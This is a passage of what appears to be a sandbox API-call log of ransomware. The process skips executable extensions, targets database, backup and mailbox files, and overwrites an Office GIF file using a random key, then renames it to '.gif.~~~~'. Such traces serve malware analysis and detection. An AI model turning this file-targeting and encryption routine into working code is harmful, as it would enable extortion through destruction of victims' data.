	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".msc") returned 0x0
	[0143.653] lstrlenW (lpString=".com") returned 4
	[0143.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".com") returned 0x0
	[0143.653] lstrlenW (lpString=".lnk") returned 4
	[0143.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".lnk") returned 0x0
	[0143.654] lstrlenW (lpString=".msp") returned 4
	[0143.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".msp") returned 0x0
	[0143.654] lstrlenW (lpString=".pif") returned 4
	[0143.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".pif") returned 0x0
	[0143.654] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.656] lstrlenW (lpString=".sqb") returned 4
	[0143.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".sqb") returned 0x0
	[0143.656] lstrlenW (lpString=".ost") returned 4
	[0143.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".ost") returned 0x0
	[0143.656] lstrlenW (lpString=".txt") returned 4
	[0143.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".txt") returned 0x0
	[0143.656] lstrlenW (lpString=".mdt") returned 4
	[0143.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".mdt") returned 0x0
	[0143.656] lstrlenW (lpString=".BDB") returned 4
	[0143.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".BDB") returned 0x0
	[0143.656] lstrlenW (lpString=".eql") returned 4
	[0143.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".eql") returned 0x0
	[0143.656] lstrlenW (lpString=".DBF") returned 4
	[0143.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DBF") returned 0x0
	[0143.657] lstrlenW (lpString=".EQL") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".EQL") returned 0x0
	[0143.657] lstrlenW (lpString=".FDB") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".FDB") returned 0x0
	[0143.657] lstrlenW (lpString=".EDB") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".EDB") returned 0x0
	[0143.657] lstrlenW (lpString=".DACPAC") returned 7
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.657] lstrlenW (lpString=".VHD") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".VHD") returned 0x0
	[0143.657] lstrlenW (lpString=".DBV") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DBV") returned 0x0
	[0143.657] lstrlenW (lpString=".dacpac") returned 7
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.657] lstrlenW (lpString=".sdf") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".sdf") returned 0x0
	[0143.657] lstrlenW (lpString=".accdb") returned 6
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".accdb") returned 0x0
	[0143.657] lstrlenW (lpString=".DBX") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DBX") returned 0x0
	[0143.657] lstrlenW (lpString=".MDT") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".MDT") returned 0x0
	[0143.657] lstrlenW (lpString=".SQB") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".SQB") returned 0x0
	[0143.657] lstrlenW (lpString=".vhd") returned 4
	[0143.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".vhd") returned 0x0
	[0143.658] lstrlenW (lpString=".bac") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".bac") returned 0x0
	[0143.658] lstrlenW (lpString=".mdf") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".mdf") returned 0x0
	[0143.658] lstrlenW (lpString=".BAK") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".BAK") returned 0x0
	[0143.658] lstrlenW (lpString=".BAC") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".BAC") returned 0x0
	[0143.658] lstrlenW (lpString=".dbs") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dbs") returned 0x0
	[0143.658] lstrlenW (lpString=".vhdx") returned 5
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.658] lstrlenW (lpString=".NDF") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".NDF") returned 0x0
	[0143.658] lstrlenW (lpString=".dat") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dat") returned 0x0
	[0143.658] lstrlenW (lpString=".DBS") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DBS") returned 0x0
	[0143.658] lstrlenW (lpString=".CKP") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".CKP") returned 0x0
	[0143.658] lstrlenW (lpString=".edb") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".edb") returned 0x0
	[0143.658] lstrlenW (lpString=".PST") returned 4
	[0143.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".PST") returned 0x0
	[0143.658] lstrlenW (lpString=".dbf") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dbf") returned 0x0
	[0143.659] lstrlenW (lpString=".SQL") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".SQL") returned 0x0
	[0143.659] lstrlenW (lpString=".pst") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".pst") returned 0x0
	[0143.659] lstrlenW (lpString=".dbv") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dbv") returned 0x0
	[0143.659] lstrlenW (lpString=".SDF") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".SDF") returned 0x0
	[0143.659] lstrlenW (lpString=".dtxs") returned 5
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.659] lstrlenW (lpString=".db3") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".db3") returned 0x0
	[0143.659] lstrlenW (lpString=".OST") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".OST") returned 0x0
	[0143.659] lstrlenW (lpString=".dbx") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dbx") returned 0x0
	[0143.659] lstrlenW (lpString=".DB3") returned 4
	[0143.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DB3") returned 0x0
	[0143.659] lstrlenW (lpString=".DAT") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DAT") returned 0x0
	[0143.660] lstrlenW (lpString=".VHDX") returned 5
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.660] lstrlenW (lpString=".ndf") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".ndf") returned 0x0
	[0143.660] lstrlenW (lpString=".DB") returned 3
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DB") returned 0x0
	[0143.660] lstrlenW (lpString=".sql") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".sql") returned 0x0
	[0143.660] lstrlenW (lpString=".MYD") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".MYD") returned 0x0
	[0143.660] lstrlenW (lpString=".DBT") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DBT") returned 0x0
	[0143.660] lstrlenW (lpString=".ACCDB") returned 6
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.660] lstrlenW (lpString=".fdb") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".fdb") returned 0x0
	[0143.660] lstrlenW (lpString=".bak") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".bak") returned 0x0
	[0143.660] lstrlenW (lpString=".myd") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".myd") returned 0x0
	[0143.660] lstrlenW (lpString=".DTXS") returned 5
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.660] lstrlenW (lpString=".ckp") returned 4
	[0143.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".ckp") returned 0x0
	[0143.660] lstrlenW (lpString=".dbt") returned 4
	[0143.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".dbt") returned 0x0
	[0143.661] lstrlenW (lpString=".db") returned 3
	[0143.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".db") returned 0x0
	[0143.661] lstrlenW (lpString=".TXT") returned 4
	[0143.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".TXT") returned 0x0
	[0143.661] lstrlenW (lpString=".MDF") returned 4
	[0143.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".MDF") returned 0x0
	[0143.661] lstrlenW (lpString=".bdb") returned 4
	[0143.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".bdb") returned 0x0
	[0143.661] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.661] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.662] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.662] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.663] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26365267851) returned 1
	[0143.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf08b150, dwHighDateTime=0x1d60e1e)) 
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809db8
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809db8 | out: hHeap=0x300000) returned 1
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28abb40
	[0143.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abb40 | out: hHeap=0x300000) returned 1
	[0143.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.664] GetLastError () returned 0x0
	[0143.664] GetLastError () returned 0x0
	[0143.664] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.664] GetLastError () returned 0x0
	[0143.664] GetLastError () returned 0x0
	[0143.664] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0xdb2e, lpOverlapped=0x0) returned 1
	[0143.674] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff24d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.674] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xdb2e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xdb2e, lpOverlapped=0x0) returned 1
	[0143.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.674] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.674] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.674] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.674] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.675] CloseHandle (hObject=0x138) returned 1
	[0143.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab948
	[0143.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif.~~~~")) returned 1
	[0143.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab948 | out: hHeap=0x300000) returned 1
	[0143.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.678] GetLastError () returned 0x0
	[0143.678] RtlWakeConditionVariable () returned 0x0
	[0143.678] GetCurrentThreadId () returned 0x9f4
	[0143.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".scr") returned 0x0
	[0143.678] lstrlenW (lpString=".cmd") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".cmd") returned 0x0
	[0143.679] lstrlenW (lpString=".dll") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dll") returned 0x0
	[0143.679] lstrlenW (lpString=".bat") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".bat") returned 0x0
	[0143.679] lstrlenW (lpString=".cpl") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".cpl") returned 0x0
	[0143.679] lstrlenW (lpString=".sys") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".sys") returned 0x0
	[0143.679] lstrlenW (lpString=".msc") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".msc") returned 0x0
	[0143.679] lstrlenW (lpString=".com") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".com") returned 0x0
	[0143.679] lstrlenW (lpString=".lnk") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".lnk") returned 0x0
	[0143.679] lstrlenW (lpString=".msp") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".msp") returned 0x0
	[0143.679] lstrlenW (lpString=".pif") returned 4
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".pif") returned 0x0
	[0143.679] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.681] lstrlenW (lpString=".sqb") returned 4
	[0143.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".sqb") returned 0x0
	[0143.681] lstrlenW (lpString=".ost") returned 4
	[0143.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".ost") returned 0x0
	[0143.681] lstrlenW (lpString=".txt") returned 4
	[0143.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".txt") returned 0x0
	[0143.681] lstrlenW (lpString=".mdt") returned 4
	[0143.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".mdt") returned 0x0
	[0143.681] lstrlenW (lpString=".BDB") returned 4
	[0143.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".BDB") returned 0x0
	[0143.681] lstrlenW (lpString=".eql") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".eql") returned 0x0
	[0143.682] lstrlenW (lpString=".DBF") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DBF") returned 0x0
	[0143.682] lstrlenW (lpString=".EQL") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".EQL") returned 0x0
	[0143.682] lstrlenW (lpString=".FDB") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".FDB") returned 0x0
	[0143.682] lstrlenW (lpString=".EDB") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".EDB") returned 0x0
	[0143.682] lstrlenW (lpString=".DACPAC") returned 7
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.682] lstrlenW (lpString=".VHD") returned 4
